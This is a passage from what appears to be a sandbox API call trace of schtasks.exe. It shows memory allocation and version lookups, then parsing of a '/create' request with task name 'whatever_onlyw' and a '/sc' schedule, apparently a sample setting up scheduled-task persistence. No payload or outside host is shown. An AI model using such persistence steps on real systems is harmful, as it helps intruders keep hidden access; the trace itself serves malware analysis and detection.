Size=0x20) returned 0x485ba0 [0128.211] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0128.211] SetLastError (dwErrCode=0x0) [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485bd0 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485c00 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485c30 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485c60 [0128.211] GetProcessHeap () returned 0x470000 [0128.211] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485c90 [0128.212] GetProcessHeap () returned 0x470000 [0128.212] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48ba90 [0128.212] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.212] GetProcessHeap () returned 0x470000 [0128.212] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x208) returned 0x48bc30 [0128.212] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.212] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0128.214] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0128.215] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0128.215] GetProcessHeap () returned 0x470000 [0128.215] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x74e) returned 0x48c1e0 [0128.215] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0128.216] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x48c1e0 | out: lpData=0x48c1e0) returned 1 [0128.216] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0128.216] VerQueryValueW (in: pBlock=0x48c1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f6c8, puLen=0x27f730 | out: lplpBuffer=0x27f6c8*=0x48c57c, puLen=0x27f730) returned 1 [0128.218] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.219] _vsnwprintf (in: _Buffer=0x48bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f6a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.219] VerQueryValueW (in: pBlock=0x48c1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f738, puLen=0x27f728 | out: lplpBuffer=0x27f738*=0x48c3a8, puLen=0x27f728) returned 1 [0128.219] lstrlenW (lpString="schtasks.exe") returned 12 [0128.219] lstrlenW (lpString="schtasks.exe") returned 12 [0128.219] lstrlenW (lpString=".EXE") returned 4 [0128.219] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.221] lstrlenW (lpString="schtasks.exe") returned 12 [0128.221] lstrlenW (lpString=".EXE") returned 4 [0128.221] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.221] lstrlenW (lpString="schtasks") returned 8 [0128.221] GetProcessHeap () returned 0x470000 [0128.221] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x485d80 [0128.221] GetProcessHeap () returned 0x470000 [0128.221] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48caf0 [0128.221] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cb20 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cb50 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48bab0 [0128.222] _memicmp (_Buf1=0x48bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xa0) returned 0x48c030 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cb80 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cbb0 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cbe0 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48bad0 [0128.222] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x200) returned 0x48d2c0 [0128.222] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.222] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.222] GetProcessHeap () returned 0x470000 [0128.222] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x30) returned 0x487a80 [0128.222] _vsnwprintf (in: _Buffer=0x48c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f6a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0128.222] GetProcessHeap () returned 0x470000 [0128.223] GetProcessHeap () returned 0x470000 [0128.223] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c1e0) returned 1 [0128.223] GetProcessHeap () returned 0x470000 [0128.223] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c1e0) returned 0x74e [0128.223] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c1e0 | out: hHeap=0x470000) returned 1 [0128.223] SetLastError (dwErrCode=0x0) [0128.223] GetThreadLocale () returned 0x409 [0128.223] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="?") returned 1 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="create") returned 6 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="delete") returned 6 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="query") returned 5 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="change") returned 6 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="run") returned 3 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="end") returned 3 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] lstrlenW (lpString="showsid") returned 7 [0128.224] GetThreadLocale () returned 0x409 [0128.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.224] SetLastError (dwErrCode=0x0) [0128.224] SetLastError (dwErrCode=0x0) [0128.224] lstrlenW (lpString="/create") returned 7 [0128.224] lstrlenW (lpString="-/") returned 2 [0128.225] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.225] lstrlenW (lpString="?") returned 1 [0128.225] lstrlenW (lpString="?") returned 1 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48c1e0 [0128.225] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xa) returned 0x48c200 [0128.225] lstrlenW (lpString="create") returned 6 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48c220 [0128.225] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x14) returned 0x48c240 [0128.225] _vsnwprintf (in: _Buffer=0x48c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.225] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.225] lstrlenW (lpString="|?|") returned 3 [0128.225] lstrlenW (lpString="|create|") returned 8 [0128.225] SetLastError (dwErrCode=0x490) [0128.225] lstrlenW (lpString="create") returned 6 [0128.225] lstrlenW (lpString="create") returned 6 [0128.225] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c200) returned 1 [0128.225] GetProcessHeap () returned 0x470000 [0128.225] RtlReAllocateHeap (Heap=0x470000, Flags=0xc, Ptr=0x48c200, Size=0x14) returned 0x48c260 [0128.225] lstrlenW (lpString="create") returned 6 [0128.225] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.225] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.225] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.225] lstrlenW (lpString="|create|") returned 8 [0128.226] lstrlenW (lpString="|create|") returned 8 [0128.226] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.226] SetLastError (dwErrCode=0x0) [0128.226] SetLastError (dwErrCode=0x0) [0128.226] SetLastError (dwErrCode=0x0) [0128.226] lstrlenW (lpString="/tn") returned 3 [0128.226] lstrlenW (lpString="-/") returned 2 [0128.226] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.226] lstrlenW (lpString="?") returned 1 [0128.226] lstrlenW (lpString="?") returned 1 [0128.226] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.226] lstrlenW (lpString="tn") returned 2 [0128.226] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.226] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.226] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.226] lstrlenW (lpString="|?|") returned 3 [0128.226] lstrlenW (lpString="|tn|") returned 4 [0128.226] SetLastError (dwErrCode=0x490) [0128.226] lstrlenW (lpString="create") returned 6 [0128.226] lstrlenW (lpString="create") returned 6 [0128.226] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.226] lstrlenW (lpString="tn") returned 2 [0128.226] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.226] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.226] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.226] lstrlenW (lpString="|create|") returned 8 [0128.226] lstrlenW (lpString="|tn|") returned 4 [0128.226] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.227] SetLastError (dwErrCode=0x490) [0128.227] lstrlenW (lpString="delete") returned 6 [0128.227] lstrlenW (lpString="delete") returned 6 [0128.227] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.227] lstrlenW (lpString="tn") returned 2 [0128.227] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.227] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.227] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.227] lstrlenW (lpString="|delete|") returned 8 [0128.227] lstrlenW (lpString="|tn|") returned 4 [0128.227] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0128.227] SetLastError (dwErrCode=0x490) [0128.227] lstrlenW (lpString="query") returned 5 [0128.227] lstrlenW (lpString="query") returned 5 [0128.227] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.227] lstrlenW (lpString="tn") returned 2 [0128.227] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.227] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.227] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.227] lstrlenW (lpString="|query|") returned 7 [0128.227] lstrlenW (lpString="|tn|") returned 4 [0128.227] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0128.227] SetLastError (dwErrCode=0x490) [0128.227] lstrlenW (lpString="change") returned 6 [0128.227] lstrlenW (lpString="change") returned 6 [0128.227] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.227] lstrlenW (lpString="tn") returned 2 [0128.228] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.228] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.228] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.228] lstrlenW (lpString="|change|") returned 8 [0128.228] lstrlenW (lpString="|tn|") returned 4 [0128.228] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0128.228] SetLastError (dwErrCode=0x490) [0128.228] lstrlenW (lpString="run") returned 3 [0128.228] lstrlenW (lpString="run") returned 3 [0128.228] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.228] lstrlenW (lpString="tn") returned 2 [0128.228] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.228] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.228] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.228] lstrlenW (lpString="|run|") returned 5 [0128.228] lstrlenW (lpString="|tn|") returned 4 [0128.228] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0128.228] SetLastError (dwErrCode=0x490) [0128.228] lstrlenW (lpString="end") returned 3 [0128.228] lstrlenW (lpString="end") returned 3 [0128.228] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.228] lstrlenW (lpString="tn") returned 2 [0128.228] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.228] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.228] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.228] lstrlenW (lpString="|end|") returned 5 [0128.228] lstrlenW (lpString="|tn|") returned 4 [0128.229] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0128.229] SetLastError (dwErrCode=0x490) [0128.229] lstrlenW (lpString="showsid") returned 7 [0128.229] lstrlenW (lpString="showsid") returned 7 [0128.229] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.229] GetProcessHeap () returned 0x470000 [0128.229] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c260) returned 1 [0128.229] GetProcessHeap () returned 0x470000 [0128.229] RtlReAllocateHeap (Heap=0x470000, Flags=0xc, Ptr=0x48c260, Size=0x16) returned 0x48c260 [0128.229] lstrlenW (lpString="tn") returned 2 [0128.229] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.229] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.229] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0128.229] lstrlenW (lpString="|showsid|") returned 9 [0128.229] lstrlenW (lpString="|tn|") returned 4 [0128.229] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0128.229] SetLastError (dwErrCode=0x490) [0128.229] SetLastError (dwErrCode=0x490) [0128.229] SetLastError (dwErrCode=0x0) [0128.229] lstrlenW (lpString="/tn") returned 3 [0128.229] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0128.229] SetLastError (dwErrCode=0x490) [0128.229] SetLastError (dwErrCode=0x0) [0128.229] lstrlenW (lpString="/tn") returned 3 [0128.229] GetProcessHeap () returned 0x470000 [0128.229] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x8) returned 0x48c200 [0128.229] GetProcessHeap () returned 0x470000 [0128.229] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cc10 [0128.229] SetLastError (dwErrCode=0x0) [0128.230] SetLastError (dwErrCode=0x0) [0128.230] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.230] lstrlenW (lpString="-/") returned 2 [0128.230] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0128.230] SetLastError (dwErrCode=0x490) [0128.230] SetLastError (dwErrCode=0x490) [0128.230] SetLastError (dwErrCode=0x0) [0128.230] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.230] StrChrIW (lpStart="whatever_onlyw", wMatch=0x3a) returned 0x0 [0128.230] SetLastError (dwErrCode=0x490) [0128.230] SetLastError (dwErrCode=0x0) [0128.230] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.230] GetProcessHeap () returned 0x470000 [0128.230] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x1e) returned 0x48cc40 [0128.230] GetProcessHeap () returned 0x470000 [0128.230] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cc70 [0128.230] SetLastError (dwErrCode=0x0) [0128.230] SetLastError (dwErrCode=0x0) [0128.230] lstrlenW (lpString="/sc") returned 3 [0128.230] lstrlenW (lpString="-/") returned 2 [0128.230] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.230] lstrlenW (lpString="?") returned 1 [0128.230] lstrlenW (lpString="?") returned 1 [0128.230] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.230] lstrlenW (lpString="sc") returned 2 [0128.230] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.230] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.230] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.230] lstrlenW (lpString="|?|") returned 3 [0128.230] lstrlenW (lpString="|sc|") returned 4 [0128.230] SetLastError (dwErrCode=0x490) [0128.230] lstrlenW (lpString="create") returned 6 [0128.230] lstrlenW (lpString="create") returned 6 [0128.231] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] lstrlenW (lpString="sc") returned 2 [0128.231] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.231] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.231] lstrlenW (lpString="|create|") returned 8 [0128.231] lstrlenW (lpString="|sc|") returned 4 [0128.231] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.231] SetLastError (dwErrCode=0x490) [0128.231] lstrlenW (lpString="delete") returned 6 [0128.231] lstrlenW (lpString="delete") returned 6 [0128.231] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] lstrlenW (lpString="sc") returned 2 [0128.231] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.231] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.231] lstrlenW (lpString="|delete|") returned 8 [0128.231] lstrlenW (lpString="|sc|") returned 4 [0128.231] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0128.231] SetLastError (dwErrCode=0x490) [0128.231] lstrlenW (lpString="query") returned 5 [0128.231] lstrlenW (lpString="query") returned 5 [0128.231] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] lstrlenW (lpString="sc") returned 2 [0128.231] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.231] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.231] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.231] lstrlenW (lpString="|query|") returned 7 [0128.232] lstrlenW (lpString="|sc|") returned 4 [0128.232] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0128.232] SetLastError (dwErrCode=0x490) [0128.232] lstrlenW (lpString="change") returned 6 [0128.232] lstrlenW (lpString="change") returned 6 [0128.232] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] lstrlenW (lpString="sc") returned 2 [0128.232] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.232] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.232] lstrlenW (lpString="|change|") returned 8 [0128.232] lstrlenW (lpString="|sc|") returned 4 [0128.232] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0128.232] SetLastError (dwErrCode=0x490) [0128.232] lstrlenW (lpString="run") returned 3 [0128.232] lstrlenW (lpString="run") returned 3 [0128.232] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] lstrlenW (lpString="sc") returned 2 [0128.232] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.232] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.232] lstrlenW (lpString="|run|") returned 5 [0128.232] lstrlenW (lpString="|sc|") returned 4 [0128.232] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0128.232] SetLastError (dwErrCode=0x490) [0128.232] lstrlenW (lpString="end") returned 3 [0128.232] lstrlenW (lpString="end") returned 3 [0128.232] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] lstrlenW (lpString="sc") returned 2 [0128.232] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.232] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.233] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.233] lstrlenW (lpString="|end|") returned 5 [0128.233] lstrlenW (lpString="|sc|") returned 4 [0128.233] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0128.233] SetLastError (dwErrCode=0x490) [0128.233] lstrlenW (lpString="showsid") returned 7 [0128.233] lstrlenW (lpString="showsid") returned 7 [0128.233] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.233] lstrlenW (lpString="sc") returned 2 [0128.233] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.233] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.233] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0128.233] lstrlenW (lpString="|showsid|") returned 9 [0128.233] lstrlenW (lpString="|sc|") returned 4 [0128.233] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0128.233] SetLastError (dwErrCode=0x490) [0128.233] SetLastError (dwErrCode=0x490) [0128.233] SetLastError (dwErrCode=0x0) [0128.233] lstrlenW (lpString="/sc") returned 3 [0128.233] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0128.233] SetLastError (dwErrCode=0x490) [0128.233] SetLastError (dwErrCode=0x0) [0128.233] lstrlenW (lpString="/sc") returned 3 [0128.233] GetProcessHeap () returned 0x470000 [0128.233] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x8) returned 0x48c290 [0128.233] GetProcessHeap () returned 0x470000 [0128.233] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cca0 [0128.233] SetLastError (dwErrCode=0x0) [0128.233] SetLastError (dwErrCode=0x0) [0128.233] lstrlenW 